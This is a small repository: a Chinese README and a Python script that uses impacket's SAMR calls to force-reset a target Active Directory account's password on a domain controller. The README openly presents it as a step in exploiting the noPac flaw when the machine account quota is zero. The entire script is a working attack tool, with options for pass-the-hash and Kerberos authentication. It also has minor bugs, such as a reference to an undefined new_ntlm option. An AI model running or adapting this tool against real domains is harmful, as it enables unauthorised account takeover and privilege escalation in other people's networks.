├── README.md
└── resetpasswd.py
/README.md:
--------------------------------------------------------------------------------
1 | # SAMR_resetntlm
2 | SAMR修改域内主机密码
3 |
4 | 在打nopac的时候碰到MAQ为0的情况,需要去手动重置机器用户的密码,本来是想做个MAQ为0情况下的一键利用,先整出这么个副产品
5 |
6 | 整体框架参考loong716大牛子的changentlm.py;https://github.com/SecureAuthCorp/impacket/pull/1097
7 |
8 | 核心的hSamrSetPasswordInternal4New也是直接用的impacket.impacket.dcerpc.v5.samr.hSamrSetPasswordInternal4New
9 |
10 | 脚本暂只支持明文修改密码,对修改权限及被修改的域用户是否存在会进行校验
11 |
12 | ### 权限不够
13 |
14 |
15 |
16 | ### 用户不存在
17 |
18 |
19 |
20 | ### 改密成功
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/resetpasswd.py:
--------------------------------------------------------------------------------
1 |
2 | import opcode
3 | import re
4 | import sys
5 | import logging
6 | import argparse
7 | from urllib import request
8 |
9 | from impacket import version
10 | from impacket import crypto, ntlm
11 | from impacket.dcerpc.v5.dtypes import NULL
12 | from impacket.examples import logger
13 | from impacket.dcerpc.v5 import transport, epm, samr
14 |
15 | class RESETNTLM:
16 | def __init__(self, username, password, domain, options = None):
17 | self.__username = username
18 | self.__password = password
19 | self.__domain = domain
20 | self.__targetuser = options.user
21 | self.__targetserver = options.server
22 | self.__lmhash = ''
23 | self.__nthash = ''
24 | self.__targetIp = options.dc_ip
25 | self.__doKerberos = options.k
26 | self.__aeskey = options.aesKey
27 | self.__kdcHost = options.dc_host
28 | self.__new_passwd = options.new_pass
29 |
30 | if options.hashes is not None:
31 | self.__lmhash, self.__nthash = options.hashes.split(':')
32 |
33 | if self.__doKerberos and options.dc_host is None:
34 | raise ValueError("Kerberos auth requires DNS name of the target DC. Use -dc-host.")
35 |
36 |
37 | def init_samr(self):
38 | if self.__doKerberos:
39 | stringBinding = epm.hept_map(self.__kdcHost, samr.MSRPC_UUID_SAMR, protocol='ncacn_np')
40 | else:
41 | stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
42 | rpctransport = transport.DCERPCTransportFactory(stringBinding)
43 | rpctransport.set_dport(445)
44 | rpctransport.setRemoteHost(self.__targetIp)
45 |
46 | if hasattr(rpctransport, 'set_credentials'):
47 | # This method exists only for selected protocol sequences.
48 | rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
49 | self.__nthash, self.__aeskey)
50 | rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
51 |
52 | dce = rpctransport.get_dce_rpc()
53 | dce.connect()
54 | dce.bind(samr.MSRPC_UUID_SAMR)
55 |
56 | self.run_reset(dce)
57 |
58 | def run_reset(self, dce):
59 | userHandle = None
60 | serverHandle = None
61 | domainHandle = None
62 |
63 | try:
64 | logging.info("Connecting to Server {}...".format(self.__targetserver))
65 |
66 | samrConnectRep = samr.hSamrConnect5(dce, '{}\x00'.format(self.__targetserver),
67 | samr.SAM_SERVER_CONNECT | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
68 | serverHandle = samrConnectRep['ServerHandle']
69 |
70 | logging.info("Enumerating domains on target server...")
71 |
72 | samrEnumDomainRep = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
73 | domains = samrEnumDomainRep['Buffer']['Buffer']
74 |
75 | # Reference: https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py#L444
76 | domainsWithoutBuiltin = list(filter(lambda x: x['Name'].lower() != 'builtin', domains))
77 |
78 | if len(domainsWithoutBuiltin) > 1:
79 | domain = list(filter(lambda x: x['Name'].lower() == self.__domain, domains))
80 | if len(domain) != 1:
81 | logging.critical("This server provides multiple domains and '%s' isn't one of them.",
82 | self.__domain)
83 | logging.critical("Available domain(s):")
84 | for domain in domains:
85 | logging.error(" * %s" % domain['Name'])
86 | raise Exception()
87 | else:
88 | selectedDomain = domain[0]['Name']
89 | else:
90 | selectedDomain = domainsWithoutBuiltin[0]['Name']
91 | logging.info("Select domain: {}".format(selectedDomain))
92 |
93 | samrLookupDomainRep = samr.hSamrLookupDomainInSamServer(dce, serverHandle, selectedDomain)
94 | domainSID = samrLookupDomainRep['DomainId']
95 |
96 | logging.info("Try to Open domain {}...".format(selectedDomain))
97 |
98 | try:
99 | samrOpenDomainRep = samr.hSamrOpenDomain(dce, serverHandle, samr.DOMAIN_LOOKUP, domainSID)
100 | domainHandle = samrOpenDomainRep['DomainHandle']
101 | except samr.DCERPCSessionError as e:
102 | if logging.getLogger().level == logging.DEBUG:
103 | import traceback
104 | traceback.print_exc()
105 |
106 | logging.critical(str(e))
107 | exit(0)
108 |
109 | try:
110 | logging.info("Looking up user {}...".format(self.__targetuser))
111 | samrLookupNamesRep = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__targetuser,))
112 | userRID = samrLookupNamesRep['RelativeIds']['Element'][0]
113 | except samr.DCERPCSessionError as e:
114 | if e.error_code == 0xc0000073:
115 | if logging.getLogger().level == logging.DEBUG:
116 | import traceback
117 | traceback.print_exc()
118 | logging.critical('There\'s no such user in present domain')
119 | exit(0)
120 |
121 |
122 | try:
123 | logging.info("Open the handle to the user object...")
124 | samrOpenUserRep = samr.hSamrOpenUser(dce, domainHandle, samr.USER_FORCE_PASSWORD_CHANGE, userRID)
125 | userHandle = samrOpenUserRep['UserHandle']
126 | except samr.DCERPCSessionError as e:
127 | if logging.getLogger().level == logging.DEBUG:
128 | import traceback
129 | traceback.print_exc()
130 | logging.critical('No enough permission to reset the passwd')
131 | exit(0)
132 |
133 | try:
134 | resetPasswdStatus = samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__new_passwd)
135 | except Exception as e:
136 | import traceback
137 | traceback.print_exc()
138 | if resetPasswdStatus['ErrorCode'] == 0:
139 | print('[+] Reset password success!')
140 |
141 | except Exception as e:
142 | if logging.getLogger().level == logging.DEBUG:
143 | import traceback
144 | traceback.print_exc()
145 |
146 | logging.critical(str(e))
147 | finally:
148 | if userHandle is not None:
149 | samr.hSamrCloseHandle(dce, userHandle)
150 | if domainHandle is not None:
151 | samr.hSamrCloseHandle(dce, domainHandle)
152 | if serverHandle is not None:
153 | samr.hSamrCloseHandle(dce, serverHandle)
154 | dce.disconnect()
155 |
156 | def run(self):
157 | self.init_samr()
158 |
159 |
160 | if __name__ == '__main__':
161 |
162 | logger.init()
163 | print(version.BANNER)
164 |
165 | parser = argparse.ArgumentParser(add_help=True, description="Reset domain user's hash.")
166 |
167 | parser.add_argument('target', action='store', help='[domain/]username[:password] This user is '
168 | 'used to authenticate to DC.')
169 |
170 | parser.add_argument('-user', action='store', help='Target user you want to change its password.')
171 | parser.add_argument('-server', action='store', help='Target server\'s netbios name. If target '
172 | 'user is domain user, it should be DC.')
173 | parser.add_argument('-new-pass', action='store', help='New plain-text password for target user.')
174 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
175 |
176 | group = parser.add_argument_group('authentication')
177 | group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
178 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
179 | group.add_argument('-k', action="store_true",
180 | help='Use Kerberos authentication. Grabs credentials from ccache file '
181 | '(KRB5CCNAME) based on account parameters. If valid credentials '
182 | 'cannot be found, it will use the ones specified in the command '
183 | 'line')
184 | group.add_argument('-dc-ip', action='store', metavar="ip", help='IP of the domain controller to use. '
185 | 'Useful if you can\'t translate the FQDN.'
186 | 'specified in the account parameter will be used')
187 | group.add_argument('-dc-host', action='store', metavar="hostname", help='Hostname of the domain controller to use. '
188 | 'If ommited, the domain part (FQDN) '
189 | 'specified in the account parameter will be used')
190 | group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
191 | '(128 or 256 bits)')
192 |
193 | if len(sys.argv) == 1:
194 | parser.print_help()
195 | sys.exit(1)
196 |
197 | options = parser.parse_args()
198 |
199 | if options.debug is True:
200 | logging.getLogger().setLevel(logging.DEBUG)
201 | # Print the Library's installation path
202 | logging.debug(version.getInstallationPath())
203 | else:
204 | logging.getLogger().setLevel(logging.INFO)
205 |
206 | domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?').match(
207 | options.target).groups('')
208 |
209 | # If you use kerberos tickets, the domain name here needs to
210 | # correspond to the domain name in the ticket. otherwise an
211 | # KDC_ERR_PREAUTH_FAILED error will occur.
212 | if domain is None or domain == '':
213 | logging.critical('Domain name should be specified, If you use '
214 | 'kerberos tickets, you need to specify "domain/:"')
215 | sys.exit(1)
216 |
217 |
218 |
219 | if options.user is None:
220 | logging.critical('Target username should be specified!')
221 | sys.exit(1)
222 |
223 |
224 | if options.new_pass is None and options.new_ntlm is None:
225 | logging.critical('Target user\'s new plain-text password or NTLM hash should be specified!')
226 | sys.exit(1)
227 |
228 | if options.dc_ip is None:
229 | logging.critical('Parameter -dc-ip should be specified!')
230 | sys.exit(1)
231 |
232 | executer = RESETNTLM(username, password, domain, options)
233 | try:
234 | executer.run()
235 | except Exception as e:
236 | if logging.getLogger().level == logging.DEBUG:
237 | import traceback
238 | traceback.print_exc()
239 | logging.error(e)
--------------------------------------------------------------------------------